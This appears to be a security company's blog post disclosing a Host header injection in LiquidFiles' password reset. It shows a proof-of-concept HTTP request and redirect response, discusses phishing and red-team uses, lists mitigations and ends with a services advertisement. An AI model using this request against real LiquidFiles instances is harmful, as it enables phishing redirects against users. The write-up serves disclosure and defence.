LiquidFiles Host Header Redirect Vulnerability: A Red Team Perspective on Redirection Attacks

In the world of cybersecurity, sometimes the simplest flaws lead to the most impactful attacks. A perfect example of this is the Host Header Injection vulnerability, a common web application flaw that can be leveraged for malicious purposes. Recently, during our a penetration testing we identified a vulnerability in the LiquidFiles file-sharing application, demonstrating how an unvalidated Host header can be weaponised for redirection attacks in a red team scenario or a phishing campaign.

What is the Host Header?

The Host headeris a fundamental part of an HTTP request. It tells the web server which domain the client wants to access. This is particularly important for servers that host multiple websites (known as virtual hosts). For example, a single server might host both `liquidfiles.target_domain.com` and `another-site.com`. The Host header is what tells the server which site to serve.

Consider the following malicious HTTP POST request:

                           

POST /password_reset HTTP/2 
Host: google.com
Cookie: _filetransfer_session=PDa%2FmHKZ1SVRiEO9WDZSe1p858spGSiCecdTlACfovfwtg6JhgkQ13rpe4cUxcrtHzi0MBnWU8FOLtVLYGTO1g%2B1adZF3QUMl6mup2946oYYghCUrFHrTLhDgOwj%2BVWTh1Wx26CXRmu2bekQtyxChZajhDqLH8DdEAfGg%2BvoUgTp7QqewmCu%2BJxL7tsYi7kAzQ%2FYVF%2FwFOgR0uELzDEfOy51KoFIUuM2zZ9sYcUOl%2BCno3odXrTee5ebpaMhFwwqqz69ydZPSammmfDjVhUGuOa%2FUG76VCyt4e5sncc6FeeEjwrLDP4F8poCc7d%2F8QycKLqmkAHV43p00ojXwd4aFo4%3D--amorBfJ8si4dpVb2--IuKkhMiiOnWgjceejvL40w%3D%3D
Content-Length: 149
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="129", "Not=A?Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Origin: https://liquidfiles.target_domain.com
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://liquidfiles.target_domain.com/password_reset/new
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

authenticity_token=LfG-qLZo4jQiD1vmm2eeOIPpGGl9H8qPkZ25IKPvxpAWbn8vFm1OgRnk16Vaj6y6Buqu39t8QOuvUC56T9Xp4g&user%5Bemail%5D=sdfsdf%40sdfsdf.com&button=

Consider the following malicious HTTP POST response:

                           

HTTP/2 302 Found
Date: Mon, 08 Sep 2025 08:18:57 GMT
Content-Type: text/html; charset=utf-8
Location: https://google.com/
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Cache-Control: no-cache
Set-Cookie: _filetransfer_session=8PGkT6zmg6xx1UtgvL1HzzOB2LKGXagNSeRY95QDrvpR8A2fLkoeRwnwQI2ylEd4yxUK9kvVSp9LcGWA271V3wJmyl3XVjj0FbEoXdDVCii588qJ9LPttIUv4Z%2F4dsFJ9EHSgLyGe9ZplSkbbgxdH6EZQldoH2%2BHzvztRD7CR8OsXNYh%2BzzvOoACz0%2Bq3LviXv6e8MXK39pWYzYfPg7%2BprtrAs5Eb0mP3bb4Q%2FfEIB1kghnKS20IbRUhZkXJkgo1SEUG0ojEq4%2Brr5rOs3TUfeiIPOsZED9YSCUVpEiLdi0Xz%2BkRYBncms%2FtCl3PnV6s88QxvDNQQJivw832xp8W6weK4LN8JTGWRK71Q1Ner%2BHVZGPDCezs%2FslolNqhqgQpOA%3D%3D--urom%2FDFTd9K545AT--yab5Sqidgg%2FBLuoimQ8cvg%3D%3D; path=/; HttpOnly; SameSite=Lax
X-Request-Id: c4f58672-83a9-4c34-8af2-495f59e14253
Strict-Transport-Security: max-age=63072000
X-Robots-Tag: noindex, nofollow
Permissions-Policy: camera=(), fullscreen=(self), geolocation=(self), gyroscope=(), microphone=(), clipboard-read=(self), clipboard-write=(self)

You are being "https://google.com/" redirected.

                           

The original `Origin` header points to `https://liquidfiles.target_domain.com`, but the attacker has manipulated the `Host` header to `google.com`. The application, if vulnerable, may now generate a password reset link that directs the user to `google.com` (or any other domain the attacker specifies) rather than the legitimate LiquidFiles domain. This makes it an ideal tool for **phishing attacks**, as the initial request appears to originate from a trusted application.

Red Teaming & Phishing Implications

                           

In a Red Team engagement, this vulnerability can be used to craft a highly effective malicious payload. Instead of creating a separate malware or link, an attacker can leverage the trusted application itself. The resulting redirection link, when sent to a target, would appear legitimate, increasing the likelihood of a successful compromise. For phishing attacks, this technique bypasses common link-analysis tools and user skepticism, since the redirect comes from a seemingly valid source.

                           

                               

An unvalidated Host header turns a trusted application into a tool for attackers.

                           

Mitigation and Defence

                           

Preventing this vulnerability is straightforward but requires a proactive approach to security:

                           

1. Whitelist Allowed Hostnames

                           

The most effective defence is to configure the web server or application to only accept requests with a specific set of trusted Host headers. Any request with a different Host value should be rejected or redirected to the correct domain.

                           

2. Use a Hardcoded Domain

                           

Web applications should not rely on the user-provided Host header to construct URLs. Instead, they should use a hardcoded domain name from the application's configuration file. This ensures that all generated links and redirects point to the correct, legitimate domain regardless of the request header.

                           

3. Proper Code Review

                           

Developers must be trained to recognize the dangers of trusting user-supplied input. Code that constructs URLs using `request.Host` or similar functions should be flagged and reviewed carefully to ensure it's not exploitable.

Our Offensive Security Services

We specialise in identifying and exploiting vulnerabilities just like this to help you build a stronger defense

Penetration Testing

Our expert testers perform in-depth analysis of your applications and networks to uncover and safely exploit vulnerabilities before malicious actors do.

Social Engineering

We test your human defences with realistic phishing, vishing, and physical attacks to measure your employees' security awareness.

Red Teaming & Attack Simulation

We simulate real-world attacks, from initial access to data exfiltration, to test your organisation's security posture against threats.

To learn more about how Hackyde's Continues security testing services can protect your organisation, please read our detailed offering here: PTaaS Service Details.